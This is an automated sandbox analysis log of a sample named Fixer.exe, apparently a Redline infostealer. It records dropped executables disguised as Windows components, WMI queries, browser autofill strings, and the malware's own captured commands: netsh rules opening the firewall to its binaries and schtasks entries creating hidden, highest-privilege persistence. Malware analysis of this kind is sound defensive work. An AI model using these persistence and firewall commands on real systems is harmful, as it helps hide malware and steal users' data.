Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B0A47	19_2_00007FFA1B3B0A47
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3AD078	19_2_00007FFA1B3AD078
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B2679	19_2_00007FFA1B3B2679
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3AEB04	19_2_00007FFA1B3AEB04
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B351D	19_2_00007FFA1B3B351D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3ADD20	19_2_00007FFA1B3ADD20
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3A7F30	19_2_00007FFA1B3A7F30
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3A5180	19_2_00007FFA1B3A5180
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B1DD7	19_2_00007FFA1B3B1DD7
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B3E9E	19_2_00007FFA1B3B3E9E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B410F	19_2_00007FFA1B3B410F
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3ADCE9	19_2_00007FFA1B3ADCE9
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B275F	19_2_00007FFA1B3B275F
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3CC7E6	20_2_00007FFA1B3CC7E6
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3C82DB	20_2_00007FFA1B3C82DB
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3CD592	20_2_00007FFA1B3CD592
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3CED49	20_2_00007FFA1B3CED49
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3C6058	20_2_00007FFA1B3C6058
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3D0F8D	20_2_00007FFA1B3D0F8D
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3C5228	20_2_00007FFA1B3C5228
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3C8E30	20_2_00007FFA1B3C8E30
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3C55DA	20_2_00007FFA1B3C55DA
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3CF980	20_2_00007FFA1B3CF980
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3AC832	21_2_00007FFA1B3AC832
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B1C8C	21_2_00007FFA1B3B1C8C
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3AD078	21_2_00007FFA1B3AD078
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3AEB04	21_2_00007FFA1B3AEB04
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3A7F30	21_2_00007FFA1B3A7F30
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3A6220	21_2_00007FFA1B3A6220
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3ABA86	21_2_00007FFA1B3ABA86
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3AE28E	21_2_00007FFA1B3AE28E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B0A47	21_2_00007FFA1B3B0A47
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B2679	21_2_00007FFA1B3B2679
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B351D	21_2_00007FFA1B3B351D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3ADD20	21_2_00007FFA1B3ADD20
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B3531	21_2_00007FFA1B3B3531
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3A5180	21_2_00007FFA1B3A5180
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B275F	21_2_00007FFA1B3B275F
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B1DD7	21_2_00007FFA1B3B1DD7
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B3E9E	21_2_00007FFA1B3B3E9E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3B410F	21_2_00007FFA1B3B410F
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3ADCE9	21_2_00007FFA1B3ADCE9
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B39C7E6	22_2_00007FFA1B39C7E6
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B39833A	22_2_00007FFA1B39833A
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B39D592	22_2_00007FFA1B39D592
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B39ED49	22_2_00007FFA1B39ED49
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B396058	22_2_00007FFA1B396058
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B3A0F8D	22_2_00007FFA1B3A0F8D
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B3A2342	22_2_00007FFA1B3A2342
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B395228	22_2_00007FFA1B395228
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B398DE9	22_2_00007FFA1B398DE9
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B3955DA	22_2_00007FFA1B3955DA
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B39F980	22_2_00007FFA1B39F980
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DC832	23_2_00007FFA1B3DC832
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E1C8C	23_2_00007FFA1B3E1C8C
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E0C4D	23_2_00007FFA1B3E0C4D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DD078	23_2_00007FFA1B3DD078
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DEB04	23_2_00007FFA1B3DEB04
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D7F30	23_2_00007FFA1B3D7F30
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E420D	23_2_00007FFA1B3E420D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DBA86	23_2_00007FFA1B3DBA86
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DE28E	23_2_00007FFA1B3DE28E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E2679	23_2_00007FFA1B3E2679
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DDD20	23_2_00007FFA1B3DDD20
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E351D	23_2_00007FFA1B3E351D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D5180	23_2_00007FFA1B3D5180
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E102E	23_2_00007FFA1B3E102E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D03C8	23_2_00007FFA1B3D03C8
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D03D8	23_2_00007FFA1B3D03D8
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E275F	23_2_00007FFA1B3E275F
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D6220	23_2_00007FFA1B3D6220
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E1DD7	23_2_00007FFA1B3E1DD7
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E3E9E	23_2_00007FFA1B3E3E9E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E0A3D	23_2_00007FFA1B3E0A3D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3E410F	23_2_00007FFA1B3E410F
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DDCE9	23_2_00007FFA1B3DDCE9
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D0D6D	23_2_00007FFA1B3D0D6D
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3AC7E6	24_2_00007FFA1B3AC7E6
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3A833A	24_2_00007FFA1B3A833A
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3AD592	24_2_00007FFA1B3AD592
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3B2548	24_2_00007FFA1B3B2548
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3AED49	24_2_00007FFA1B3AED49
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3A6058	24_2_00007FFA1B3A6058
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3B2B02	24_2_00007FFA1B3B2B02
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3B0F8D	24_2_00007FFA1B3B0F8D
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3A8B56	24_2_00007FFA1B3A8B56
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3B260A	24_2_00007FFA1B3B260A
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3A5228	24_2_00007FFA1B3A5228
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3A55DA	24_2_00007FFA1B3A55DA
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3B2646	24_2_00007FFA1B3B2646
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3AF980	24_2_00007FFA1B3AF980

Source: Fixer.exe, 00000000.00000002.52599130900.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSecurityHealthSystrayj% vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameexplorerr) vs Fixer.exe
Source: Fixer.exe, 00000000.00000000.52343916297.00000000006B6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSteanings.exe8 vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefirefox.exe0 vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q,\\StringFileInfo\\000004B0\\OriginalFilename vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q,\\StringFileInfo\\040904B0\\OriginalFilename vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXED vs Fixer.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs Fixer.exe
Source: Fixer.exe	Binary or memory string: OriginalFilenameSteanings.exe8 vs Fixer.exe

Source: Fixer.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Fixer.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.Fixer.exe.670000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e

Source: FixerNerest.exe.0.dr, WpAqmEEzEwNIXIzRzOYiu.cs	Security API names: File.GetAccessControl
Source: FixerNerest.exe.0.dr, WpAqmEEzEwNIXIzRzOYiu.cs	Security API names: File.SetAccessControl
Source: xdwdSecurityHealthSystrays.exe.2.dr, sMngcJoYCfD.cs	Security API names: File.GetAccessControl
Source: xdwdSecurityHealthSystrays.exe.2.dr, sMngcJoYCfD.cs	Security API names: File.SetAccessControl
Source: Defender.exe.3.dr, WpAqmEEzEwNIXIzRzOYiu.cs	Security API names: File.GetAccessControl
Source: Defender.exe.3.dr, WpAqmEEzEwNIXIzRzOYiu.cs	Security API names: File.SetAccessControl
Source: 6z9uno0baqvej0me.exe.0.dr, YCqdhaRTimJInloXKuRkyyz.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 6z9uno0baqvej0me.exe.0.dr, YCqdhaRTimJInloXKuRkyyz.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: xdwdSecurityHealthSystrays.exe.2.dr, YCqdhaRTimJInloXKuRkyyz.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: xdwdSecurityHealthSystrays.exe.2.dr, YCqdhaRTimJInloXKuRkyyz.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 6z9uno0baqvej0me.exe.0.dr, sMngcJoYCfD.cs	Security API names: File.GetAccessControl
Source: 6z9uno0baqvej0me.exe.0.dr, sMngcJoYCfD.cs	Security API names: File.SetAccessControl
Source: FixerNerest.exe.0.dr, lXExsaLrgYgEOOXK.cs	Security API names: File.GetAccessControl
Source: FixerNerest.exe.0.dr, lXExsaLrgYgEOOXK.cs	Security API names: File.SetAccessControl
Source: FixerNerest.exe.0.dr, lXExsaLrgYgEOOXK.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: FixerNerest.exe.0.dr, tisnIiXyTCXvDDO.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FixerNerest.exe.0.dr, tisnIiXyTCXvDDO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: xdwdSecurityHealthSystrays.exe.2.dr, RBUgQcjHqRKyAa.cs	Security API names: File.GetAccessControl
Source: xdwdSecurityHealthSystrays.exe.2.dr, RBUgQcjHqRKyAa.cs	Security API names: File.SetAccessControl
Source: xdwdSecurityHealthSystrays.exe.2.dr, RBUgQcjHqRKyAa.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: Defender.exe.3.dr, lXExsaLrgYgEOOXK.cs	Security API names: File.GetAccessControl
Source: Defender.exe.3.dr, lXExsaLrgYgEOOXK.cs	Security API names: File.SetAccessControl
Source: Defender.exe.3.dr, lXExsaLrgYgEOOXK.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: Defender.exe.3.dr, tisnIiXyTCXvDDO.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Defender.exe.3.dr, tisnIiXyTCXvDDO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 6z9uno0baqvej0me.exe.0.dr, RBUgQcjHqRKyAa.cs	Security API names: File.GetAccessControl
Source: 6z9uno0baqvej0me.exe.0.dr, RBUgQcjHqRKyAa.cs	Security API names: File.SetAccessControl
Source: 6z9uno0baqvej0me.exe.0.dr, RBUgQcjHqRKyAa.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@36/7@1/2

Source: C:\Users\user\Desktop\Fixer.exe

File created: C:\Users\user\AppData\Local\SystemCache

Jump to behavior

Source: C:\Windows\System32\Defender.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6684:120:WilError_03
Source: C:\Windows\System32\Defender.exe	Mutant created: \Sessions\1\BaseNamedObjects\kkepmy41u(qg%$l6
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5828:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6684:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5564:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03

Source: C:\Users\user\Desktop\Fixer.exe

File created: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe

Jump to behavior

Source: Fixer.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Fixer.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Fixer.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Fixer.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003BDD000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003EFA000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: Fixer.exe	ReversingLabs: Detection: 68%
Source: Fixer.exe	Virustotal: Detection: 79%

Source: unknown	Process created: C:\Users\user\Desktop\Fixer.exe "C:\Users\user\Desktop\Fixer.exe"
Source: C:\Users\user\Desktop\Fixer.exe	Process created: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe "C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe"
Source: C:\Users\user\Desktop\Fixer.exe	Process created: C:\Users\user\AppData\Local\Temp\FixerNerest.exe "C:\Users\user\AppData\Local\Temp\FixerNerest.exe"
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "CMD" netsh advfirewall firewall add rule name="7=PG%XL(%PSA%R" dir=in action=allow program="C:\Windows\System32\xdwdSecurityHealthSystrays.exe" enable=yes & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe "C:\Windows\System32\xdwdSecurityHealthSystrays.exe"
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\cmd.exe "CMD" netsh advfirewall firewall add rule name=",%MUc}<NcMKXc_" dir=in action=allow program="C:\Windows\System32\Defender.exe" enable=yes & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST
Source: unknown	Process created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\Defender.exe "C:\Windows\System32\Defender.exe"
Source: unknown	Process created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Source: unknown	Process created: C:\Windows\System32\Defender.exe C:\Windows\System32\Defender.exe
Source: unknown	Process created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe C:\Windows\System32\xdwdSecurityHealthSystrays.exe
Source: unknown	Process created: C:\Windows\System32\Defender.exe C:\Windows\System32\Defender.exe
Source: C:\Users\user\Desktop\Fixer.exe	Process created: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe "C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process created: C:\Users\user\AppData\Local\Temp\FixerNerest.exe "C:\Users\user\AppData\Local\Temp\FixerNerest.exe"	Jump to behavior
